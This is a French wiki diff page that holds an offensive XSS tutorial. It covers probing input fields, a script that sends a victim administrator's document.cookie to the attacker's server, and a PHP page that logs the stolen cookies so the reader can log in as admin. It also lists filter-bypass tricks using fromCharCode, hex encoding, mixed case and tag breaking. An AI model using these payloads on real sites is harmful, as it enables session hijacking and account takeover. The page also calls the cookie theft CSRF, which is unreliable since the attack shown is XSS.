Outils pour utilisateurs

Outils du site


web:injection_xss

Différences

Ci-dessous, les différences entre deux révisions de la page.

Lien vers cette vue comparative

Prochaine révision
Révision précédente
Prochaine révision Les deux révisions suivantes
web:injection_xss [2016/01/31 10:38]
arkinar créée
web:injection_xss [2016/04/15 10:19]
arkinar
Ligne 1: Ligne 1:
-Failles XSS:+**Failles XSS**
  
 Le cross-site scripting (abrégé XSS), est un type de faille de sécurité des sites web permettant d'​injecter du contenu dans une page. Elle permet ainsi de provoquer des actions sur les navigateurs web visitant la page. Le cross-site scripting (abrégé XSS), est un type de faille de sécurité des sites web permettant d'​injecter du contenu dans une page. Elle permet ainsi de provoquer des actions sur les navigateurs web visitant la page.
Ligne 13: Ligne 13:
 Si nous rentrons cela : Si nous rentrons cela :
  
-<b> coucou </b>+<​code>​<b> coucou </b></​code>
  
 Si vous voyez apparaitre "​coucou"​ en gras à coter du champs, le code est faillible. Si vous voyez apparaitre "​coucou"​ en gras à coter du champs, le code est faillible.
Ligne 25: Ligne 25:
 Du javascript  : Du javascript  :
  
-<​script>​ alert('​coucou'​;) </​script>​+<​code>​<​script>​ alert('​coucou'​) </script></​code>
  
 Si une pop-up s'​ouvre c'est que le champ est faillible et que nous pourrons l'​exploiter avec du JS. Si une pop-up s'​ouvre c'est que le champ est faillible et que nous pourrons l'​exploiter avec du JS.
Ligne 32: Ligne 32:
  
  
-**Méthode ​1:**+__Méthode ​1:__
  
 On va injecter notre code javascript sur le site faillible On va injecter notre code javascript sur le site faillible
Ligne 43: Ligne 43:
  
  
-<​script>​ alert("​hack by XSS"​)</​script>​+<​code>​<​script>​ alert("​hack by XSS"​)</​script></​code>
  
 Cela aurait pour effet d'​afficher une pop-up lorsque la page du site faillible s'​ouvrira. Cela aurait pour effet d'​afficher une pop-up lorsque la page du site faillible s'​ouvrira.
Ligne 52: Ligne 52:
 Le code que je vous ai donné n'aura pas d’effet grave sur la victime mais vous pouvez faire de grandes choses avec du JS. Le code que je vous ai donné n'aura pas d’effet grave sur la victime mais vous pouvez faire de grandes choses avec du JS.
  
-Méthode ​2:+__Méthode ​2: CSRF__
  
 La CSRF (Cross-Site Request Forgery) est une attaque visant à faire exécuter une action à un utilisateur sans qu'il en soit conscient. La CSRF (Cross-Site Request Forgery) est une attaque visant à faire exécuter une action à un utilisateur sans qu'il en soit conscient.
Ligne 62: Ligne 62:
 Dans le contenu du message nous allons mettre notre code javascript : Dans le contenu du message nous allons mettre notre code javascript :
  
-<​script>​window.open("​http://​monserveur/​mapage.php?​cookie="​+document.cookie)</​script>​+<​code>​<​script>​window.open("​http://​monserveur/​mapage.php?​cookie="​+document.cookie)</​script></​code>
  
 Ce code javascript à pour effet d'​envoyer le contenu du cookie vers votre site web Ce code javascript à pour effet d'​envoyer le contenu du cookie vers votre site web
  
 De votre coté il vous faudra un serveur web ainsi qu'une page php contenant: De votre coté il vous faudra un serveur web ainsi qu'une page php contenant:
 +<​code>​
 <?php <?php
  
-if(!empty($_GET["​cookie"​])) ​+if(!empty($_GET["​cookie"​])) ​
 + 
 +    $fp = fopen("​getCookie.log",​ "​a+"​);​
  
-{    $fp = fopen("​getCookie.log",​ ";​a+";​);​ 
     if($fp) {     if($fp) {
 +
         $dateTime = new DateTime("​NOW"​);​         $dateTime = new DateTime("​NOW"​);​
-         fputs($fp, $dateTime-&gt;format("​Y-m-d h:​i:​s"​). ​&#​34; ​&#34;.htmlspecialchars($_GET[&#34;cookie&#34;]).&#34;\\n&#34;); + 
-         ​fclose($fp);​ +        ​fputs($fp, $dateTime->format("​Y-m-d h:​i:​s"​). ​" ​".htmlspecialchars($_GET["cookie"])."\n"); 
-         ​ + 
-          +        ​fclose($fp);​ 
-           + 
-          if(!empty($_GET["​admin"​])) ​ +    
-          ​{$fp = fopen("​getCookie.log", ​&#34;r&#34;); + 
-          while($lig = fgets($fp)) +
-                 ​echo $lig.} + 
-           ​ + 
-           ​fclose($fp);​ + 
-           ​}; +if(!empty($_GET["​admin"​])) { 
-           ​ + 
-           Code actuellement en cours de realisation +    ​$fp = fopen("​getCookie.log", ​"r"); 
-          + 
-         +    ​while($lig = fgets($fp)) { 
 + 
 +        ​echo $lig."<​br>";​ 
 + 
 +    ​
 + 
 +    fclose($fp);​ 
 + 
 +
 + 
 +?> 
 +</​code> ​      
 Lorsque l'​administrateur va lire le message, la valeur de son cookie sera récupérée sur votre page php.  Lorsque l'​administrateur va lire le message, la valeur de son cookie sera récupérée sur votre page php. 
  
Ligne 96: Ligne 109:
  
 En cas d'​authentification par cookie vous pourrez vous connecter en tant qu'​admin En cas d'​authentification par cookie vous pourrez vous connecter en tant qu'​admin
 +
 +ByPassing des protections contre les XSS:
 +
 +Il arrive parfois que des protections soient mise en place pour empêcher ce genre d'​attaque,​ voici quelque techniques pour bypasser ces protections.
 +
 +__Bypassing magic_quotes_gpc :__
 +
 +La fonction magic_quotes_gpc=on en php modifie les quotes qu'​elles soient simple ou double (' ou ") en backslash (\). Par exemple <​script>​alert("​Coucou"​);</​script>​ sera filtré en <​script>​alert(\Coucou\);</​script>​ empêchant ainsi le script de fonctionner.
 +Alors comment faire ?! Utiliser les caractères ASCII !
 +
 +notre Coucou devient par exemple : String.fromCharCode(67,​ 111, 117, 99, 111, 117)
 +Ce qui donne 
 +<​code><​script>​String.fromCharCode(97,​ 108, 101, 114, 116, 40, 34, 67, 111, 117, 99, 111, 117, 34, 41, 59)</​script></​code>​ --> Qui sera normalement exécuté ! Pas de quote présente, aucun filtre à réalisé.
 +
 +__Bypassing avec des valeurs Hexa :__
 +
 +Nous pouvons aussi convertir notre payload en hexa, notre <​script>​alert("​Coucou"​);</​script>​ devient : 
 +
 +<​code>​%3c%73%63%72%69%70%74%3e%61%6c%65%72%74%28%22%43%6f%75%63%6f%75%22%29%3b%3c%2f%73%63%72%69%70%74%3e</​code>​
 +
 +__Bypassing par obfuscation :__
 +
 +Il arrive parfois qu'un administrateur de site un peu feignant ne daigne pas insérer une réel protection et filtre les mots script, alert etc ...
 +un simple <​code><​ScRiPt>​AlErT("​Coucou"​);</​sCrIpT></​code>​ fera l'​affaire ! 
 +
 +Cela bien sur marche de moins en moins, mais parfois... ça suffit !
 +
 +__Bypassing par fermeture de tag :__
 +
 +Parfois il est nécessaire de fermer une balise afin que notre script soit exécuté :
 +Par exemple : Le contenu du Name est directement injecté dans l’attribut "​class"​ de la balise qui contiendra le message envoyé.
 +
 +<​code>​User"><​script>​alert("​Coucou"​);</​script></​code>​
  
 Source :​[[http://​venom630.free.fr/​geo/​tutz/​securite_informatique/​xss/​]] Source :​[[http://​venom630.free.fr/​geo/​tutz/​securite_informatique/​xss/​]]
web/injection_xss.txt · Dernière modification: 2016/07/04 08:38 (modification externe)